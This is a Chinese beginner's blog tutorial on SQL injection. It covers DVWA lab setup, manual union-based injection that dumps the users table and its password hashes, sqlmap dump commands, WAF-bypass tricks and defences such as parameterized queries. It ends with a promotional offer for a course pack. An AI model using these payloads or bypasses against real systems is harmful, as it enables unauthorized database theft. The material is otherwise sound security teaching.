输入框就能拖走数据库?从零学 SQL 注入漏洞实战,手动脱库避坑指南

张开发
2026/5/1 4:36:27 15 分钟阅读

分享文章

输入框就能拖走数据库?从零学 SQL 注入漏洞实战,手动脱库避坑指南
前言3 年前我还是个连select语句都写不明白的网络安全小白。第一次接触 SQL 注入时对着 DVWA 靶场的登录框按照教程输入 or 11#按下回车后居然直接跳转到了管理员后台 —— 屏幕上弹出的 “Welcome admin” 字样让我盯着终端愣了半分钟。那是我第一次直观感受到 “漏洞” 的威力原来不需要复杂的代码一个简单的字符拼接就能突破系统的安全防线。后来我花了 3 个月从手动注入到工具自动化从靶场练习到 SRC 实战踩遍了 “引号闭合错误”“盲注判断失误”“WAF 绕过无门” 的坑终于把 SQL 注入这门 “入门必修课” 彻底吃透。这篇文章我会用最通俗的语言、最详细的步骤带 0 基础的你从 “原理理解” 到 “实战脱库”连环境搭建的每一步都讲清楚让你看完就能动手操作 —— 毕竟SQL 注入的核心不是 “背命令”而是 “理解漏洞本质”。一、先搞懂SQL 注入到底是怎么回事很多小白一听到 “SQL 注入” 就觉得复杂其实它的原理简单到像 “说话产生歧义”。我们先从一个生活中的例子讲起比如你去餐厅点餐对服务员说“我要一份汉堡和薯条。” 服务员会准确执行但如果你说“我要一份汉堡薯条不要了再给我来份牛排。” 服务员就会按照新的指令操作 —— 这就是 “拼接” 带来的变化。SQL 注入的本质就是利用 “用户输入未过滤” 的漏洞把恶意 SQL 语句拼接到正常代码里让数据库执行我们想要的操作。举个最经典的登录场景例子正常的登录 SQL 语句是这样的select * from users where username用户输入 and password用户输入;当你输入usernameadmin、password123456时语句会变成select * from users where usernameadmin and password123456;数据库会正常验证账号密码。但如果我们在username里输入 or 11#语句就会变成select * from users where username or 11# and password123456;这里的#会注释掉后面的内容11是永远成立的条件所以数据库会返回所有用户数据直接登录成功 —— 这就是最基础的 “布尔盲注” 原理。简单来说SQL 注入的核心就是两点输入可控用户能控制的参数如 URL 里的id、登录框的账号密码拼接执行用户输入的内容被直接拼接到 SQL 语句中没有过滤或转义。二、实战第一步3 分钟搭好 SQL 注入练习环境0 基础学 SQL 注入最容易卡壳的就是 “环境搭建”。我当初因为不会装 DVWA浪费了整整 2 天时间。这里直接给你 “傻瓜式步骤”用 PHPStudyDVWA 搭建本地靶场全程不超过 5 分钟。1. 所需工具操作系统Windows 10/11新手不建议用 Mac部分工具兼容性差集成环境PHPStudy 8.1一键搭建 ApacheMySQLPHP靶场DVWADamn Vulnerable Web Application专门用于安全练习的漏洞环境浏览器Chrome装 Burp Suite 插件后面抓包会用到。2. 环境搭建步骤步骤 1安装 PHPStudy将适合 Windows 版本的 PhpStudy 安装包下载至本地并且完成解压请看文末扫描免费获取安装包双击进入解压后的文件夹中可以看到下面的内容双击 PhpStudy 安装包即可进入安装页面在这里我们需要设置 PhpStudy 的安装目录并且确保目录中不存在中文或空格这里笔者选择安装在 C:\phpstudy_pro 目录下因为是虚拟机中如果是实体机的话我建议安装在 C 盘以外的其他盘符中配置完成后点击 “立即安装” 即可然后就是耐心等待安装程序完成安装安装完成后桌面会出现一个 phpstudy_pro 的程序快捷键双击快捷键即可启动程序启动完成后界面如下至此 PhpStudy 已安装完毕步骤 2部署 DVWA 靶场下载 DVWA 压缩包https://github.com/digininja/DVWA点击 “Code”→“Download ZIP”如无法下载请看文末扫描免费获取安装包解压压缩包把文件夹改名为 “dvwa”复制到 PHPStudy 的网站根目录D:\phpstudy_pro\WWW打开 DVWA 文件夹里的config目录把config.inc.php.dist改名为config.inc.php去掉.dist后缀用记事本打开“config.inc.php”找到以下代码修改数据库配置和 PHPStudy 的 MySQL 一致$_DVWA[db_user] root; // PHPStudy默认MySQL用户名 $_DVWA[db_password] root; // PHPStudy默认MySQL密码如果没改就是root $_DVWA[db_database] dvwa; // 数据库名后面会自动创建 $_DVWA[db_port] 3306; // MySQL默认端口浏览器访问http://127.0.0.1/dvwa点击 “Create / Reset Database”看到 “Setup Complete” 就成功了步骤 3设置 DVWA 安全级别DVWA 默认安全级别是 “Impossible”无漏洞需要改成 “Low”低安全适合新手用账号admin、密码password登录 DVWA点击左侧 “DVWA Security”把 “Security Level” 改成 “Low”点击 “Submit”3. 避坑指南MySQL 启动失败如果 PHPStudy 的 MySQL 启动不了检查是否有其他软件占用 3306 端口如 MySQL 其他版本可以在 PHPStudy 里修改端口“设置”→“端口设置”DVWA 无法连接数据库确认config.inc.php里的用户名密码和 PHPStudy 一致默认都是root点击 “Create Database” 没反应检查 PHP 版本是否兼容建议用 PHP 7.3PHPStudy 里可以切换版本“软件管理”→“PHP”→“PHP 7.3”。三、手动注入实战从 “判断注入点” 到 “脱库”一步一步来手动注入是 SQL 注入的核心也是面试必问的考点。这里以 DVWA 的 “SQL Injection” 模块为例带你完成 “判断注入点→查数据库→查表→查字段→拿数据” 的全流程每个步骤都写清楚命令和原理。1. 第一步判断是否存在 SQL 注入点首先要确定 “哪个参数可控且存在注入漏洞”。DVWA 的 SQL Injection 模块URL 是http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit#这里的id1就是可控参数。判断方法在参数后加单引号看页面是否报错存在注入点的典型特征。原 URLhttp://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit#页面正常显示用户信息加单引号后http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit#页面报错提示 “MySQL server version for the right syntax to use near ‘‘1’’ at line 1”。报错说明SQL 语句变成了select * from users where id1多了一个单引号导致语法错误 —— 这证明id参数存在 SQL 注入漏洞2. 第二步判断字段数用 order by知道有注入点后下一步要确定 “查询结果有多少个字段”后面联合查询需要字段数匹配。用order by NN 是数字判断直到页面报错说明字段数是 N-1。尝试id1 order by 1#页面正常说明有 1 个字段尝试id1 order by 2#页面正常说明有 2 个字段尝试id1 order by 3#页面报错说明没有 3 个字段结论该查询结果有 2 个字段后面联合查询要用union select 1,2#字段数必须匹配。3. 第三步查数据库名用 union selectunion select是联合查询能把我们想要的结果和原查询结果一起返回。先让原查询无结果比如id-1因为数据库里没有 id-1 的记录再拼接我们的查询语句。执行命令id-1 union select database(),version()#database()查询当前数据库名version()查询 MySQL 版本页面返回结果DATABASE()dvwaVERSION()5.7.26不同环境版本可能不同。结论当前数据库名是dvwaMySQL 版本是 5.7.x5.0 以上版本支持information_schema库后面查表会用到。4. 第四步查数据库里的表名用 information_schemainformation_schema是 MySQL 的系统库里面存了所有数据库的表名、字段名。我们要查dvwa数据库下的所有表执行命令id-1 union select table_name,1 from information_schema.tables where table_schemadvwa#页面返回结果TABLE_NAMEguestbook、TABLE_NAMEusers—— 这就是dvwa数据库下的两个表其中users表大概率存了账号密码。5. 第五步查 users 表的字段名知道表名是users下一步查这个表有哪些字段比如用户名、密码字段执行命令id-1 union select column_name,1 from information_schema.columns where table_schemadvwa and table_nameusers#页面返回关键字段user_id、username、password—— 这三个字段就是我们要的核心数据。6. 第六步拿 users 表的所有数据脱库最后一步查询users表的username和password字段数据执行命令id-1 union select username,password from users#页面直接返回所有用户的账号密码admin5f4dcc3b5aa765d61d8327deb882cf99MD5 加密解密后是passwordgordonbe99a18c428cb38d5f260853678922e03解密后是abc12313378d3533d75ae2c3966d7e0d4fcc69216b解密后是charley到这里我们就完成了从 “判断注入点” 到 “脱库” 的全流程 —— 这就是手动 SQL 注入的核心逻辑没有复杂工具只用 URL 参数就拿到了敏感数据四、工具实战用 SQLMap 自动化注入手动注入适合理解原理但实战中效率低。SQLMap 是最常用的 SQL 注入自动化工具Kali 自带Windows 也能装能自动判断注入点、查库查表、导出数据新手只需记住几个核心命令。1. SQLMap 基础命令必背 3 个SQLMap 的核心语法是sqlmap -u 目标URL [参数]以下是新手最常用的 3 个场景场景 1自动判断注入点并查所有数据库命令sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit# --dbs-u指定目标 URL--dbs查询所有数据库名执行后SQLMap 会自动检测注入点类型如布尔盲注、时间盲注最后输出所有数据库包括我们要的dvwa。场景 2查指定数据库的所有表命令sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit# -D dvwa --tables-D dvwa指定数据库为dvwa--tables查询该数据库下的所有表执行后会输出dvwa的两个表guestbook和users。场景 3导出指定表的所有数据命令sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit# -D dvwa -T users --dump-T users指定表为users--dump导出该表的所有数据执行后SQLMap 会自动解密 MD5 密码部分简单密码直接输出明文账号密码比手动注入效率高 10 倍2. 避坑指南SQLMap 遇到的 2 个常见问题DVWA 需要登录才能注入如果目标 URL 需要登录用--cookie参数携带登录 CookieChrome 按 F12→Application→Cookies→复制 PHPSESSID 和 security命令sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit# --cookie PHPSESSIDabc123; securitylow --dbs注入速度慢用--threads 1010 线程最大不要超过 10否则容易被封 IP命令sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit# -D dvwa -T users --dump --threads 10五、SQL 注入防御3 个核心方案从根源杜绝漏洞学攻击的同时必须学防御 —— 这是网络安全的核心思维。SQL 注入的防御原理很简单让用户输入的内容 “无法被当作 SQL 语句执行”以下是 3 个企业最常用的防御方案。1. 方案 1参数化查询最有效推荐参数化查询Prepared Statement是把 SQL 语句和参数分开参数无论输入什么都只会被当作 “数据” 而不是 “SQL 代码” 执行。以 PHP 为例传统拼接 SQL有漏洞$id $_GET[id]; $sql select * from users where id$id; // 拼接用户输入有注入漏洞参数化查询无漏洞$id $_GET[id]; $stmt $pdo-prepare(select * from users where id?); // 用?占位符 $stmt-execute([$id]); // 参数单独传入不会被解析为SQL代码现在主流编程语言PHP、Java、Python都支持参数化查询企业开发中必须强制使用。2. 方案 2输入过滤与转义辅助防御对用户输入的特殊字符如、、union、select进行过滤或转义让恶意语句失效。比如 PHP 中的mysql_real_escape_string()函数注意需配合 UTF8 编码使用$id mysql_real_escape_string($_GET[id]); // 转义特殊字符 $sql select * from users where id$id; // 此时输入会变成\无法闭合引号但过滤不是万能的比如绕过后缀名、编码绕过必须配合参数化查询使用。3. 方案 3最小权限原则降低危害即使发生注入也要尽量降低损失 —— 给数据库账号设置最小权限网站连接数据库的账号只给select、insert等必要权限不给drop删表、alter改表权限禁止数据库账号访问information_schema等系统库比如给 dvwa 账号只授权select权限grant select on dvwa.* to dvwa_userlocalhost identified by 123456;这样即使被注入攻击者也无法删表或访问其他数据库降低危害。六、实战避坑指南0 基础必看的 5 个注意事项合法实战合法实战合法实战绝对不要未经授权测试任何网站包括学校、公司的网站否则可能违反《网络安全法》面临罚款或拘留。练习用本地靶场DVWA、SQLI-LAB或 SRC 平台阿里云 SRC、腾讯 SRC这些是合法的实战场景。先手动后工具不要一开始就依赖 SQLMap手动注入能帮你理解 “漏洞本质”—— 比如为什么order by 3会报错union select为什么需要字段数匹配。手动练熟后用工具效率才高。注意编码问题如果注入时遇到乱码检查目标网站编码比如 UTF8、GBKSQLMap 可以用--encoding GBK指定编码手动注入时确保浏览器编码和网站一致。遇到 WAF 不要慌实战中很多网站有 WAFWeb 应用防火墙会拦截 SQL 注入语句。新手可以先从 “绕过简单 WAF” 开始比如把union换成UNION大小写混淆把select换成selselectect双写绕过用/**/注释符分割关键词如un/**/ion se/**/lect。记录注入过程每次练习都记录 “注入点判断→查库→查表→拿数据” 的步骤和命令遇到报错时对照记录排查比如字段数判断错误、引号闭合错误我当初就是靠记录错题3 周就熟练了手动注入。结语SQL 注入不是 “黑客秘籍”而是安全思维的起点很多小白学完 SQL 注入会觉得 “自己学会了黑客技术”—— 其实不是。SQL 注入只是网络安全的 “入门砖”它教会你的核心不是 “怎么拿数据”而是 “怎么发现漏洞、怎么防御漏洞” 的思维。就像我现在做渗透测试时看到登录框、URL 参数第一反应不是 “能不能注入”而是 “开发者有没有做参数化查询有没有过滤输入”—— 这种 “站在攻击者角度想防御” 的思维才是 SQL 注入教给我们最宝贵的东西。如果你是 0 基础建议按 “环境搭建→手动注入→工具实战→防御学习” 的顺序练习每天花 1 小时1 个月就能熟练掌握。记住网络安全的核心不是 “攻击”而是 “保护”—— 我们学 SQL 注入最终目的是让更多系统不再被 SQL 注入攻击。现在打开你的 PHPStudy启动 DVWA输入第一行注入命令 or 11#—— 你的网络安全实战之旅就从这里开始。如何系统学习网络安全/黑客网络安全不是「速成黑客」而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时那种创造的快乐远胜于电影里的炫技。装上虚拟机从配置第一个Linux环境开始脚踏实地从基础命令学起相信你一定能成为一名合格的黑客。如果你还不知道从何开始我自己整理的282G的网络安全教程可以分享我也是一路自学走过来的很清楚小白前期学习的痛楚你要是没有方向还没有好的资源根本学不到东西下面是我整理的网安资源希望能帮到你。需要的话可以V扫描下方二维码联系领取~如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享1.从0到进阶主流攻防技术视频教程包含红蓝对抗、CTF、HW等技术点2.入门必看攻防技术书籍pdf书面上的技术书籍确实太多了这些是我精选出来的还有很多不在图里3.安装包/源码主要攻防会涉及到的工具安装包和项目源码防止你看到这连基础的工具都还没有4.面试试题/经验网络安全岗位面试经验总结谁学技术不是为了赚$呢找个好的岗位很重要需要的话可以V扫描下方二维码联系领取~因篇幅有限资料较为敏感仅展示部分资料添加上方即可获取如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享

更多文章